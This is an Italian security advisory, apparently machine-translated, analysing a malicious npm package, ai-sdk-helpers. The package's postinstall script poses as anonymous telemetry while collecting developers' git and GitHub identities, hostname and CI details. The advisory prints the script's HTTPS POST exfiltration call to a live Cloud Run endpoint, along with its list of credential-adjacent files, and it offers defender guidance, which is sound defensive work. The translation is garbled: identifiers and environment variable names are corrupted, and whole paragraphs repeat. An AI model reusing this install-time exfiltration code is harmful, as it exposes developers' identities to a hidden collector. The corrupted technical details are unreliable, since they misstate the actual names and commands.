TL; DR
Un singolo pacchetto npm, helper di ai-sdk, si presenta come un toolkit di produzione per l'SDK di Vercel AI, offrendo monitoraggio dei costi, fallback del fornitore e strumenti di supporto per lo streaming.
Il suo script di installazione si apre con un banner di divulgazione raffinato che descrive diagnosi anonima, promettendo che nessun codice sorgente, token o credenziali vengono trasmessi, onorando un DO_NOT_TRACK opzione di disattivazione e collegamento a una pagina relativa alle norme sulla telemetria.
Lo stesso script legge quindi l'identità Git dello sviluppatore, la configurazione della CLI di GitHub, il nome host della macchina, il nome utente del sistema operativo, la directory di lavoro e il provider CI.
Questi dati vengono inviati tramite POST in formato JSON a un endpoint di Google Cloud Run, creando una chiara discrepanza tra la politica di telemetria dichiarata e i campi effettivamente raccolti.
Il pacchetto è stato pubblicato in ventidue versioni in un'unica sessione di 83 secondi e lo script di installazione è identico byte per byte in tutte le versioni contrassegnate.
Sette delle otto versioni recensite dal nostro pipeline I dati sono stati giudicati inconcludenti dal classificatore ML perché lo stile del banner di consenso sembra quello di una telemetria legittima.
Noi classifichiamo ai-sdk-helpers considerato dannoso in base alla raccolta e all'esfiltrazione dell'identità dello sviluppatore al momento dell'installazione.
Gravità: elevata.
Anatomia dell'installazione
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }post-installazione esegue automaticamente su installazione di npm, prima che venga importato qualsiasi codice pubblicizzato del pacchetto. Lo script scripts/postinstall.js è lì che risiede tutto il comportamento in fase di installazione.
Si apre con un blocco di commenti e un avviso di runtime scritto nel registro di un progetto open-source attento alla privacy:
Quando installi ai-sdk-helpers, eseguiamo un rapido controllo di compatibilità dell'ambiente e segnaliamo una diagnostica anonima... I dati sono completamente anonimi: raccogliamo la tua piattaforma, la versione di Node e un hash unidirezionale dell'identificativo della tua macchina. Nessun codice sorgente, token o credenziale viene mai trasmesso.
Include persino un meccanismo di opt-out funzionante, il primo codice eseguibile del file:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }allacciare prima questo cancello è ciò che fa sì che il resto sembri consensuale: uno sviluppatore che imposta `D_NON_TRACCIARE` L'installazione viene completata silenziosamente e il pacchetto viene considerato conforme alla convenzione. L'opzione di disattivazione è reale. Ciò che viene bloccato, per chiunque non la imposti, è la raccolta descritta di seguito, e non la più ristretta "piattaforma, versione di Node e un hash unidirezionale" menzionata nell'avviso.
Al di sotto di quel cancello, lo script assembla un carico utile che va ben oltre quella descrizione.
- *Gidentità.* rrisolvereScmIdentità()` teste `~.gitconfig`,`~.config/git/config`,e del progetto attuale.it/config`,analizza il `[ser]` sezione e restituisce la configurazione commit email. Se nessun file di configurazione produce un'email, si ricorre a `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,e `EPIAZZA variabili d'ambiente. Una docstring sopra la funzione inquadra la lettura come un modo "per deduplicare le installazioni su macchine di proprietà della stessa persona (ad esempio laptop + CI)" - uno scopo dichiarato che richiede un identificatore stabile per sviluppatore, che un commit forniture per email.
- *GAccount tHub.* r`solveGitHubIdentity()` teste `~.config/gh/hosts.yml e `~.config/gh/hosts.yaml il file di configurazione scritto da GitHub CLI quando uno sviluppatore si autentica — ed estrae tramite regex il `uer:` e `eail:` campi. Quel file memorizza anche il token OAuth di GitHub; l'espressione regolare dello script prende di mira specificamente le righe del nome utente e dell'email e non estrae il token. L'affermazione del banner informativo "nessun token... viene mai trasmesso" è quindi letteralmente vera per quel singolo campo, mentre gli identificativi dell'account circostanti vengono letti e inviati.
- *Hst e impronta digitale CI.* lo script raccoglie quindi `o.hostname()`,`o.userInfo().username`,la versione, la piattaforma e l'architettura di Node, `pocess.cwd()`,e un'etichetta CI-provider risolta controllando le variabili d'ambiente per otto provider (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite e due flag generici-CI). L'elenco dei provider si legge come un inventario di dove lo script prevede di essere eseguito: shell interattive e build automatizzate pipelines allo stesso modo.
Tutti questi sono raggruppati in un unico `dagnostici oggetto, con i campi per sviluppatore raccolti sotto un `ientità ey e i dati host sotto `rntime` e `ctesto occhi, quindi serializzati e trasmessi:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();la risposta viene scartata e tutti gli errori vengono ignorati: un commento osserva che "la telemetria non deve mai interrompere l'installazione". Il nome host dell'endpoint codifica un servizio Google Cloud Run nell'ecorda-ovest1` egione.
Il divario è la storia. Il banner elenca tre categorie di dati: piattaforma, versione di Node, hash dell'identificativo della macchina. Il payload invia il vero git di uno sviluppatore commit email, il loro nome utente e indirizzo email di GitHub, il nome host della loro macchina e il nome dell'account del sistema operativo, il percorso del loro progetto e il loro ambiente CI. I campi che identificano un *prson e i loro account* sono esattamente i campi omessi dalla divulgazione.
Il README rafforza l'inquadratura dall'altro lato. La sua sezione "Telemetria" ripete l'affermazione di anonimato e collega la parola "D_NON_TRACCIARE` o `cnsoledonottrack.com`,la vera pagina della comunità che documenta la convenzione di opt-out — prendendo in prestito una privacy riconosciuta standard per far sì che l'avviso appaia di routine.
timeline
Si tratta di un singolo pacchetto con una storia di pubblicazione molto breve ma intensa. Non c'è un arco di campagna di più settimane da ricostruire: l'intera gamma di versioni è stata distribuita a velocità supersonica.
| Quando (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Prima versione (0.1.0) pubblicato su npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Tutte le 22 versioni (0.1.0 attraverso 1.4.2) pubblicato in una raffica automatizzata di 83 secondi. |
| 2026-06-04 | Otto versioni segnalate da segnali di rilevamento; l'analisi manuale conferma la raccolta e l'esfiltrazione dell'identità in fase di installazione. Il pacchetto risultava ancora attivo su npm al momento dell'analisi. |
La finestra di 83 secondi su 22 versioni semantiche è di per sé un indicatore comportamentale: la scala delle versioni (`01.0',`01.1',… `14.2`)Presenta la superficie di un progetto attivamente mantenuto con una cronologia delle release, prodotta in una singola esecuzione dello script. Lo script di installazione non cambia lungo questa fase (vedi sotto).
Indicatori di compromesso
Il payload di installazione è identico in tutta la gamma di versioni pubblicate. Un `dff` f `sripts/postinstall.js etween versione 02.1` nd versione `14.2` non restituisce differenze; il comportamento è un'impronta digitale fissa, non un carico utile in evoluzione.
Reti
La finestra di 83 secondi su 22 versioni semantiche è di per sé un indicatore comportamentale: la scala delle versioni (`01.0',`01.1',… `14.2`)Presenta la superficie di un progetto attivamente mantenuto con una cronologia delle release, prodotta in una singola esecuzione dello script. Lo script di installazione non cambia lungo questa fase (vedi sotto).
Indicatori di compromesso
Il payload di installazione è identico in tutta la gamma di versioni pubblicate. Un `dff` f `sripts/postinstall.js etween versione 02.1` nd versione `14.2` non restituisce differenze; il comportamento è un'impronta digitale fissa, non un carico utile in evoluzione.
Reti
| Ruolo | |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Endpoint di esfiltrazione che riceve richieste HTTPS POST con payload JSON. Ospitato su Google Cloud Run in the europe-west1 regione. |
Infrastruttura di richiamo
| Ruolo | |
|---|---|
ai-sdk.guide | Pagina iniziale del pacchetto e sito web attivo a supporto dell'identità dell'autore "AI SDK Guide". |
ai-sdk.guide/telemetry | URL della policy di telemetria a cui si fa riferimento nell'informativa sulla privacy al momento dell'installazione. |
hello@ai-sdk.guide | Indirizzo email dell'autore dichiarato in package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repository sorgente dichiarato dal pacchetto. |
File letti al momento dell'installazione
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml GitHub CLI `uer` `emal di testa
Firme comportamentali
- – m `pinstalla` guardare mentre si richiama uno script Node incluso
- – cancello di opt-out (`A`_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NON_TRACCIARE`)presentata come una funzionalità per la privacy, prima della raccolta dell'identità
- – Richiesta HTTPS POST tbound di un oggetto JSON contenente email git, identità GitHub, nome host, nome utente del sistema operativo, directory di lavoro corrente ed etichetta CI.
- – script di installazione identico su una scala di versioni pubblicata rapidamente
Attribuzione e comportamento osservato
Non attribuiamo nulla al di là di quanto registrato nei metadati del pacchetto e del registro.
Il manutentore npm registrato è l'account `aielsimon`,con l'indirizzo `aiel@vigilance.security`.Il registro elenca quell'email come non verificata e l'identità di controllo della fonte dell'account come non verificata. Il `ppacchetto.json`,separatamente, presenta l'autore come "Guida all'SDK AI"ello@ai-sdk.guide>`”con una homepage di `a-sdk.guide` e un repository sorgente sotto un `gOrganizzazione thub.com/ai-sdk-guide`. Il dominio e-mail dell'account di pubblicazione (`vigilance.security`)e l'identità dell'autore nel pacchetto (`a-sdk.guide`)sono domini diversi.
Il `a-sdk.guide` è attivo e risponde, e il `/elettrometria ath risolve il problema: l'identità fittizia è supportata da una presenza web raggiungibile anziché da un link non funzionante, il che aumenta la credibilità dell'immagine del pacchetto.
**Funzionalità osservata.** Al momento dell'installazione, il pacchetto legge i file di identità e di configurazione dell'account dello sviluppatore, rileva l'impronta digitale dell'host e dell'ambiente CI e trasmette il risultato a un endpoint controllato dall'operatore, visualizzando contemporaneamente un avviso che descrive un set di dati più ristretto e anonimizzato. Descriviamo questo comportamento, ma non ne forniamo una motivazione. I lettori che valutano il pacchetto, inclusi coloro che riconoscono l'identità dell'autore, dovrebbero considerare la discrepanza osservabile tra i flussi di dati dichiarati e quelli effettivi.
Impatto, tendenze e linee guida per i difensori
Chi è esposto. Chiunque installi helper di ai-sdk — direttamente o come dipendenza transitiva — esegue la raccolta su quella macchina. Poiché il trigger è post-installazioneIl codice della libreria pubblicizzata non deve mai essere importato affinché il flusso di dati abbia luogo; è sufficiente la sola installazione. Gli ambienti di maggior valore sono le workstation degli sviluppatori con un'identità Git configurata e una CLI di GitHub autenticata, e i runner CI, dove il rilevamento del provider CI dello script indica che la raccolta dovrebbe essere eseguita all'interno della build pipelinesia su computer che su laptop.
Ciò che rivela. Non segreti dell'applicazione nel caso generale: il payload è incentrato su identità: dello sviluppatore commit email, il nome e l'indirizzo email del loro account GitHub, i nomi della macchina e dell'account e il percorso del progetto. Questo è un precisUna mappa che indica chi ha installato il pacchetto, su quale macchina, in quale repository e sotto quale sistema CI. Per un'organizzazione, una manciata di questi record, presi insieme, permetterebbe di elencare quali ingegneri e quali sistemi di build hanno scaricato la dipendenza: un'informazione utile come premessa per attività successive più mirate, anche se il comportamento di questo pacchetto si limita alla raccolta e alla trasmissione.
La tendenza: la telemetria come copertura. Gli strumenti di sviluppo legittimi raccolgono effettivamente diagnostica di installazione anonima e le convenzioni per farlo in modo rispettoso — un avviso di divulgazione, un NON TRACCIARE onore, un flag di disattivazione, un URL della policy: sono concetti ben noti. helper di ai-sdk Riproduce fedelmente tutte e quattro queste convenzioni e le utilizza come involucro per la raccolta dell'identità. La presenza di un banner di consenso, di un'opzione di disattivazione funzionante o di un link all'informativa sulla privacy non è prova che un pacchetto sia affidabile; questi controlli sono facili da imitare. L'unico controllo affidabile è ciò che il codice legge effettivamente e dove lo invia effettivamente.
Questo packaging ha anche un effetto misurabile sul triage automatizzato. Attraverso le versioni del nostro pipeline esaminati, i commenti in linguaggio semplice dello script di installazione, i nomi dei campi strutturati e il gate di opt-out convenzionale sono stati classificati come telemetria ordinaria: sette degli otto sono tornati inconcludente dal classificatore ML piuttosto che da malevolo. Il segnale che risolve l'ambiguità non è nella prosa, ma nei file specifici che lo script apre (~ / .gitconfig, ~/.config/gh/hosts.yml) e la destinazione a cui viene inviato. Un revisore, automatico o umano, che legge l'informativa e si ferma lì giungerà a una conclusione errata; la determinazione deve basarsi sui fatti relativi al flusso di dati.
Linee guida per i difensori:
- Installazione con script disabilitati per impostazione predefinita — npm install –ignore-scripts, o impostare ignore-scripts=true in .npmrc e eseguire esplicitamente i passaggi di compilazione verificati. Ciò neutralizza post-installazione- Raccolta fondi attivata su tutta la linea.
- Non interpretare i controlli di opt-out come segnali di fiducia. A NON TRACCIARE Un controllo o un link a una "politica di telemetria" non fornisce alcuna informazione sui dati raccolti da uno script quando il gate non è impostato.
- Leggere l'hook di installazione prima di adottare i pacchetti di supporto dell'ecosistema AI. Lo spazio Vercel AI SDK è un target in rapida evoluzione e ad alta fiducia; un post-installazione che tocca ~ / .gitconfig or ~/.config/gh/ è un segnale chiaro, a prescindere da come siano scritti i commenti circostanti.
- Monitora l'uscita in fase di compilazione. Una richiesta HTTPS POST in uscita durante installazione di npm, soprattutto verso un endpoint di funzione cloud appena predisposto, è osservabile a livello di rete e rappresenta un punto di rilevamento importante per gli ambienti CI.
- Attenzione alle versioni compresse. Un pacchetto la cui intera cronologia semantica delle versioni appare in pochi secondi, con uno script di installazione immutabile, presenta una cronologia di manutenzione artefatta.






